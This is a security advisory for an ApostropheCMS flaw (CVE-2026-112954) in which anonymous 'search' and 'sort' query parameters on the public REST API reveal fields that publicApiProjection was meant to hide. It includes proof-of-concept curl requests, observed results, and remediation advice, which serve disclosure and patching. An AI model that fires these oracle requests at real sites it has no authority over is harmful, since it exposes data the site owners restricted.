---
id: "CVE-2026-112954"
kind: "vulnerability"
aliases: ["CVE-2026-112954", "GHSA-rqgm-cfrp-4hx8"]
title: "ApostropheCMS: Unauthenticated publicApiProjection bypass via search and sort query builders in the public REST API"
severity: "medium"
cvss: 5.300000190734863
epss: 0.0030700000934302807
exploited: false
status: "open"
category: "package"
products: [{"name": "apostrophe", "fixed": ["4.34.0"], "affected": "< 4.34.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["apostrophe", "cms", "cwe-200", "node", "package", "self-hosted"]
not_affected_if: ["auth-required", "managed-hosting", "no-anonymous-rest-api", "no-publicapiprojection"]
published_at: "2026-10-20T16:17:06+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:20+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-rqgm-cfrp-4hx8", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112954", "first_seen_at": "2026-10-23T21:57:20+00:00"}]
---

# ApostropheCMS: Unauthenticated publicApiProjection bypass via search and sort query builders in the public REST API

ApostropheCMS lets anonymous visitors use search and sort query parameters on the public REST API to probe fields that publicApiProjection was meant to hide. An unauthenticated attacker can learn which documents contain a hidden word and recover the ordering of hidden values, though not a full field dump.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:apostrophe affected < 4.34.0 fixed 4.34.0

## How to check

Check whether the project's package.json depends on npm:apostrophe below 4.34.0 (npm ls apostrophe).
For any piece or page type with publicApiProjection, test: curl -s 'http://<host>/api/v1/<type>?sort%5Bhidden%5D=1' against a hidden field.

## Fix

Upgrade apostrophe to 4.34.0 or later.
Until then, avoid relying on publicApiProjection to hide searchable or sortable fields on anonymously readable types; set searchable: false on sensitive fields as a partial mitigation (unknown whether the sources confirm this fully closes the sort path).

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-rqgm-cfrp-4hx8
- 2026-10-23T21:57:20+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-112954

## From the sources

### Summary
ApostropheCMS lets a module expose an anonymous read API by setting `publicApiProjection`, which whitelists the document fields unauthenticated callers may see. The public REST GET handler applies every launderable query builder from the query string *before* forcing that projection. Two of those builders, `search` and `sort`, operate on the underlying documents rather than the projected output, and neither is checked against the projection. An unauthenticated attacker can therefore:

- use `?search=<word>` as a **value oracle** to confirm and locate documents by the content of a field the projection was meant to hide, and
- use `?sort[hiddenField]=1` as an **ordering oracle** to rank documents by a hidden field's value.

This is the same confidentiality-bypass class already patched for the `choices`/`counts` builders (gated by `choicesFieldAllowedByProjection`). That gate was never applied to `search` or `sort`.

### Details
For an anonymous caller, `getRestQuery` (piece types: `modules/@apostrophecms/piece-type/index.js:1142`; pages: `modules/@apostrophecms/page/index.js`) does:

```js
const query = self.find(req).attachments(true);
query.applyBuildersSafely(req.query);            // (1) apply ALL launderable builders from the query string
...
query.project({ ...self.options.publicApiProjection, cacheInvalidatedAt: 1 }); // (2) force read projection
query.set('publicApiProjection', self.options.publicApiProjection);            // (3) used only by the choices/counts gate
```

`applyBuildersSafely` (`modules/@apostrophecms/doc-type/index.js:3327`) runs any builder that has a `launder` method. `search` and `sort` both have one (`doc-type/index.js:2288` and `2127`), so `?search=` and `?sort[...]=` are honored for anonymous requests.

**Search vector.** The `search` builder adds `{ $text: { $search: <user input> } }` (`doc-type/index.js:2282`). The `$text` index covers `highSearchText` / `lowSearchText` / `title` / `searchBoost` (`modules/@apostrophecms/doc/index.js:612`). `highSearchText` / `lowSearchText` are built at save time by `@apostrophecms/search:getSearchTexts` → `apos.schema.indexFields(schema, doc, texts)` (`modules/@apostrophecms/search/index.js:377`), which indexes every schema field where `searchable !== false` (the default for string/text fields). `publicApiProjection` does not imply `searchable: false`. Step (2) narrows the output but not the `$text` filter, so the response returns the projected `{title, slug, _id}` of exactly the documents whose hidden field contains the searched word.

**Sort vector.** `finalizeSort` (`doc-type/index.js:3526`) forwards raw user sort keys to MongoDB (it only rewrites fields flagged `sortify: true`). `?sort[hiddenField]=1` orders results by a projection-excluded field. Combined with `perPage`/`page`, an attacker can page through the fully ordered set.

Neither builder consults `publicApiProjection`, whereas `choices`/`counts` are gated at `doc-type/index.js:2807` via `choicesFieldAllowedByProjection`.

### PoC
**Preconditions:** the piece/page type sets `publicApiProjection`, and its schema has at least one searchable (default) or sortable field not included in the projection.

Test type: `article` exposes only `title`, `slug`, `_id`, but has hidden `secret` (integer) and `secretNote` (searchable string):

```js
export default {
  extend: '@apostrophecms/piece-type',
  options: { publicApiProjection: { title: 1, slug: 1, _id: 1 } },
  fields: { add: {
    secret:     { type: 'integer' },
    secretNote: { type: 'string' }   // searchable by default; NOT in the projection
  } }
};
```

Five articles were inserted and published via the authenticated REST API:
`A.secret=50, secretNote="zzsecretalpha"`; `B=10/zzsecretbravo`; `C=90/zzsecretcharlie`; `D=30/zzsecretdelta`; `E=70/zzsecretecho`.
The insert responses confirm the hidden `secretNote` value is written into the search index, e.g. for A: `"highSearchText": "... zzsecretalpha"`, `"lowSearchText": "... zzsecretalpha"`.

Anonymous requests (no credentials, no session):

```bash
# [1] Baseline: projection hides secret/secretNote on direct read
curl -s 'http://localhost:3000/api/v1/article?perPage=1'

# [2] Search oracle: value exists ONLY in hidden secretNote
curl -s 'http://localhost:3000/api/v1/article?search=zzsecretalpha'
curl -s 'http://localhost:3000/api/v1/article?search=zznotpresentxyz'

# [3] Sort oracle: order by hidden integer field
curl -s 'http://localhost:3000/api/v1/article?sort%5Bsecret%5D=1'
curl -s 'http://localhost:3000/api/v1/article?sort%5Bsecret%5D=-1'

# Negative control: projection override is blocked
curl -s 'http://localhost:3000/api/v1/article?project%5BsecretNote%5D=1&perPage=1'
```

Results (verified on ApostropheCMS 4.32.2, MongoDB 7.0):

| Request (anonymous)       | Observed                                          | Verdict                               |
| ------------------------- | ------------------------------------------------- | ------------------------------------- |
| `GET /api/v1/article`     | `_id,title,slug,type,metaType,cacheInvalidatedAt` | projection works on direct read       |
| `?search=zzsecretalpha`   | only Article A (with textScore)                   | **leak**: locates doc by hidden field |
| `?search=zznotpresentxyz` | 0 results                                         | oracle confirmed                      |
| `?sort[secret]=1`         | B, D, A, E, C  (= 10,30,50,70,90)                 | **leak**: full hidden ordering        |
| `?sort[secret]=-1`        | C, E, A, D, B                                     | reverse confirmed                     |
| `?project[secretNote]=1`  | secretNote absent                                 | gated (projection override blocked)   |

### Impact
Unauthenticated, network-reachable partial disclosure of fields the developer explicitly restricted with `publicApiProjection`:

- **Search oracle:** confirm and locate documents by words in hidden fields (e.g. internal notes, contact emails, draft metadata, moderation/status flags), returning the `title`/`slug`/`_id` of matches.
- **Sort oracle:** full ordering of documents by a hidden field. With one known reference value or a paging binary search, exact hidden values can be recovered.

No authentication or user interaction required. Not a full field dump, but a targeted oracle over exactly the data the projection is meant to conceal. Affects sites that configure `publicApiProjection` on piece types or pages, up to and including 4.32.2 (same code path present on current `main`).

### Remediation
Gate `search`, `sort` (and `autocomplete`, which feeds `search`) on the public API path the same way `choices`/`counts` are gated. When `publicApiProjection` is in force:

- **sort:** reject or drop any sort key not permitted by the projection, reusing `choicesFieldAllowedByProjection`.
- **search:** restrict full-text search to fields the projection exposes (e.g. a projection-scoped search text), or refuse the `search` builder when the projection excludes any searchable field.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
